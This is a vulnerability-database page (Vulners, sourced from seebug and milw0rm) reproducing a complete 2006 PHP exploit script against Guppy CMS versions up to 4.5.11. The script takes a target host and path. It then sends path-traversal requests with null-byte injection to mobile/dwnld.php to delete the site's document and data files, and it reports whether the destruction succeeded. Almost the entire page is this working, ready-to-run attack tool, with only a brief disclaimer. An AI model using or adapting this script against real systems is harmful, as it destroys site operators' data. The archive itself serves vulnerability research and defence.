Lucene search
K

Guppy <= 4.5.11 (Delete Databases) Remote Denial of Service Exploit

🗓️ 10 Mar 2006 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Guppy <= 4.5.11 Remote DOS Exploit by trueend5 for deleting database

Code

                                                # Change line 30 s/htp/http if you would like to see the logo. /str0ke

&lt;?php
#                    Guppy &lt;= 4.5.11 Remote DOS Exploit                       #
#                               by trueend5                                   #
#             Computer Security Science Researchers Institute                 #
#                           [http://www.KAPDA.ir]                             #
#                                                                             #

error_reporting(0);
ini_set(&quot;max_execution_time&quot;,0);
ini_set(&quot;default_socket_timeout&quot;, 5);
ob_implicit_flush (1);

echo'&lt;html&gt;
&lt;head&gt;
&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=windows-1252&quot;&gt;
&lt;title&gt;Guppy &amp;lt;= 4.5.11 Remote DOS Exploit&lt;/title&gt;
&lt;/head&gt;

&lt;body bgcolor=&quot;#FFCCFF&quot;&gt;

&lt;p align=&quot;center&quot;&gt;&lt;font size=&quot;4&quot; color=&quot;#0000FF&quot;&gt;Guppy &amp;lt;= 4.5.11 Remote DOS
Exploit&lt;/font&gt;&lt;/p&gt;
&lt;p class=&quot;Stile6&quot; align=&quot;center&quot;&gt;&lt;font size=&quot;3&quot; color=&quot;#FF0000&quot;&gt;by trueend5&lt;/font&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;font size=&quot;4&quot; color=&quot;#008000&quot;&gt;Computer Security Science Researchers
Institute&lt;/font&gt;&lt;/p&gt;
&lt;font SIZE=&quot;3&quot;&gt;
&lt;p align=&quot;center&quot;&gt;&lt;a href=&quot;http://www.kapda.ir&quot;&gt;KAPDA&lt;/a&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://irannetjob.com/pics/ph-logo.png&quot; width=&quot;120&quot; height=&quot;121&quot;&gt;&lt;/p&gt;
&lt;/font&gt;
&lt;table width=&quot;90%&quot;&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td width=&quot;43%&quot; align=&quot;left&quot;&gt;
        &lt;form name=&quot;form1&quot; action=&quot;'.$SERVER[PHP_SELF].'&quot; method=&quot;post&quot;&gt;
          &lt;p&gt;&lt;input name=&quot;host&quot; size=&quot;20&quot;&gt; &lt;span class=&quot;Stile5&quot;&gt;&lt;font color=&quot;#FF0000&quot;&gt;*&lt;/font&gt; hostname (ex:www.sitename.com)&lt;/span&gt;&lt;/p&gt;
          &lt;p&gt;&lt;input name=&quot;path&quot; size=&quot;20&quot;&gt; &lt;span class=&quot;Stile5&quot;&gt;&lt;font color=&quot;#FF0000&quot;&gt;*&lt;/font&gt; path (ex:
          /guppy/
          or just / )&lt;/span&gt;&lt;/p&gt;
          &lt;p&gt;&lt;input name=&quot;num&quot; size=&quot;20&quot;&gt; &lt;span class=&quot;Stile5&quot;&gt;how many document
          do you want to destroy (default is 100)&lt;/span&gt;&lt;/p&gt;
          &lt;p&gt;&amp;nbsp; This option works when magic_quotes_gpc is Off&lt;/p&gt;
          &lt;p&gt;&lt;input name=&quot;port&quot; size=&quot;20&quot;&gt;&lt;span class=&quot;Stile5&quot;&gt;specify a port&amp;nbsp;
          (default is 80)&lt;/span&gt;&lt;/p&gt;
          &lt;p&gt;&lt;input name=&quot;proxy&quot; size=&quot;20&quot;&gt;&lt;span class=&quot;Stile5&quot;&gt;send exploit
          through an HTTP proxy (ip:port)&lt;/span&gt;&lt;/p&gt;
          &lt;p align=&quot;center&quot;&gt; &lt;span class=&quot;Stile5&quot;&gt;&lt;font color=&quot;#FF0000&quot;&gt;&amp;nbsp;&amp;nbsp;
          * &lt;/font&gt;fields are required&lt;/span&gt;&lt;/p&gt;
          &lt;p align=&quot;center&quot;&gt;&lt;span class=&quot;Stile5&quot;&gt;-----------------------------------------------------------------------------------------------&lt;/span&gt;&lt;/p&gt;
          
          &lt;p&gt;&lt;input type=&quot;submit&quot; value=&quot;Start&quot; name=&quot;Submit&quot;&gt;&lt;/p&gt;
        &lt;/form&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/body&gt;&lt;/html&gt;';
function show($headeri)
{
  $ii=0;$ji=0;$ki=0;$ci=0;
  echo '&lt;table border=&quot;0&quot;&gt;&lt;tr&gt;';
  while ($ii &lt;= strlen($headeri)-1){
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
      $ji=0;
      $ci++;
      echo &quot;&lt;td&gt;&amp;nbsp;&amp;nbsp;&lt;/td&gt;&quot;;
      for ($li=0; $li&lt;=15; $li++) {
        echo &quot;&lt;td&gt;&quot;.$headeri[$li+$ki].&quot;&lt;/td&gt;&quot;;
		}
      $ki=$ki+16;
      echo &quot;&lt;/tr&gt;&lt;tr&gt;&quot;;
    }
    if (strlen($datai)==1) {
      echo &quot;&lt;td&gt;0&quot;.$datai.&quot;&lt;/td&gt;&quot;;
    }
    else {
      echo &quot;&lt;td&gt;&quot;.$datai.&quot;&lt;/td&gt; &quot;;
    }
    $ii++;$ji++;
  }
  for ($li=1; $li&lt;=(16 - (strlen($headeri) % 16)+1); $li++) {
    echo &quot;&lt;td&gt;&amp;nbsp&amp;nbsp&lt;/td&gt;&quot;;
  }
  for ($li=$ci*16; $li&lt;=strlen($headeri); $li++) {
    echo &quot;&lt;td&gt;&quot;.$headeri[$li].&quot;&lt;/td&gt;&quot;;
  }
  echo &quot;&lt;/tr&gt;&lt;/table&gt;&quot;;
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() 
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket &lt; 0) {
    echo &quot;socket_create() failed: reason: &quot; . socket_strerror($socket) . &quot;&lt;br&gt;&quot;;
  }
  else {
    $c = preg_match($proxy_regex,$proxy);
    if (!$c) {echo 'Not a valid proxy';
    die;
    }
  echo &quot;OK.&lt;br&gt;&quot;;
  echo &quot;Attempting to connect to &quot;.$host.&quot; on port &quot;.$port.&quot;...&lt;br&gt;&quot;;
  if ($proxy=='') {
    $result = socket_connect($socket, $host, $port);
  }
  else {
    $parts =explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
    $result = socket_connect($socket, $parts[0],$parts[1]);
  }
  if ($result &lt; 0) {
    echo &quot;socket_connect() failed.\r\nReason: (&quot;.$result.&quot;) &quot; . socket_strerror($result) . &quot;&lt;br&gt;&lt;br&gt;&quot;;
  }
  else {
    echo &quot;OK.&lt;br&gt;&lt;br&gt;&quot;;
    $html= '';
    socket_write($socket, $packet, strlen($packet));
    echo &quot;Reading response:&lt;br&gt;&quot;;
    while ($out= socket_read($socket, 2048)) {$html.=$out;}
    echo nl2br(htmlentities($html));
    echo &quot;Closing socket...&quot;;
    socket_close($socket);
  }
  }
}

function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.htmlentities($host); die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy';die;
    }
    $parts=explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...&lt;br&gt;';
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$_POST[host];
$path=$_POST[path];
$port=$_POST[port];
$num=$_POST[num];

if (($host&lt;&gt;'') and ($path&lt;&gt;''))
{
  $port=intval(trim($port));
  $num=intval(trim($num));
  if ($port=='') {$port=80;}
  if ($num=='') {$num=100;}
  if (($path[0]&lt;&gt;'/') or ($path[strlen($path)-1]&lt;&gt;'/')) {die('Error... check the path!');}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace(&quot;\r\n&quot;,&quot;&quot;,$host);
  $path=str_replace(&quot;\r\n&quot;,&quot;&quot;,$path);
  echo ' Try to see if magic_quotes_gpc is enable! ...';
  $packet=&quot;GET &quot;.$p.&quot;mobile/dwnld.php?pg=./%2E./test.inc%00&quot;.&quot; HTTP/1.1\r\n&quot;;
  $packet.=&quot;User-Agent: Shareaza v1.x.x.xx\r\n&quot;;
  $packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
  $packet.=&quot;Connection: Close\r\n\r\n&quot;;
  show($packet);
  sendpacketii($packet);
  $test='http://'.$host.$path.'data/test.inc';
  if (!include(&quot;$test&quot;)) {
  echo'It seems magic_quotes_gpc is On. Trying STEP 2 ...';
}
  else {echo'magic_quotes_gpc is disable. STEP 1:';
  for ($n = 1; $n &lt;= $num; $n++) {
  $packet=&quot;GET &quot;.$p.&quot;mobile/dwnld.php?pg=./%2E./doc&quot;.$n.&quot;.inc%00&quot;.&quot; HTTP/1.1\r\n&quot;;
  $packet.=&quot;User-Agent: Shareaza v1.x.x.xx\r\n&quot;;
  $packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
  $packet.=&quot;Connection: Close\r\n\r\n&quot;;
  show($packet);
  sendpacketii($packet);
  }
}
  echo' STEP 2:';
  for ($n = 1; $n &lt;= 29; $n++) {
  if ($n==1) {$str='ar';} if ($n==2) {$str='counter';} if ($n==3) {$str='dn';} if ($n==4) {$str='docid';} if ($n==5) {$str='fa';}
  if ($n==6) {$str='fr';} if ($n==7) {$str='frcat';} if ($n==8) {$str='frcount';} if ($n==9) {$str='frth';} if ($n==10) {$str='ippoll';}
  if ($n==11) {$str='ipstats';} if ($n==12) {$str='li';} if ($n==13) {$str='log_date';} if ($n==14) {$str='log_files';}
  if ($n==15) {$str='log_stats';} if ($n==16) {$str='logbook';} if ($n==17) {$str='logd';} if ($n==18) {$str='logh';}
  if ($n==19) {$str='logm';} if ($n==20) {$str='logp';} if ($n==21) {$str='logy';} if ($n==22) {$str='nextid';}
  if ($n==23) {$str='nwlist';} if ($n==24) {$str='ph';} if ($n==25) {$str='poll';} if ($n==26) {$str='ra';}
  if ($n==27) {$str='rs';} if ($n==28) {$str='stats';} if ($n==29) {$str='statsbk';}
  $packet=&quot;GET &quot;.$p.&quot;mobile/dwnld.php?pg=./%2E./$str&quot;.&quot; HTTP/1.1\r\n&quot;;
  $packet.=&quot;User-Agent: SnoopRob/x.x\r\n&quot;;
  $packet.=&quot;Host: &quot;.$host.&quot;\r\n&quot;;
  $packet.=&quot;Connection: Close\r\n\r\n&quot;;
  show($packet);
  sendpacketii($packet);
  }
  $test2='http://'.$host.$path.'data/stats.dtb';
  include(&quot;$test2&quot;);
  if (eregi(&quot;1&quot;,$html)) {echo &quot;Exploit succeeded&quot;; }
                           else {echo &quot;Exploit failed...&quot;;}
}
else
{echo &quot;IMPORTANT NOTICE: This POC is just for educational purposes, Please Do not use it against external websites&lt;br&gt;
You are responsible for any damage that .... &quot;;}

?&gt;

# milw0rm.com [2006-03-10]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation